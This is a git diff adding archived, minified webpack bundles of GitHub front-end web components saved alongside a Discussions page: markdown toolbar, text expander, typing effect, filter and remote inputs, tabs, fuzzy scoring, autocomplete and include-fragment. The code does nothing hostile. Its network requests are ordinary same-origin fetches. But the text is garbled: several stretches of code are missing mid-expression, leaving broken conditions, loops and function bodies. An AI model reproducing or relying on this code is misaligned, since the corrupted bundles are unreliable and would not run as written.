D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function 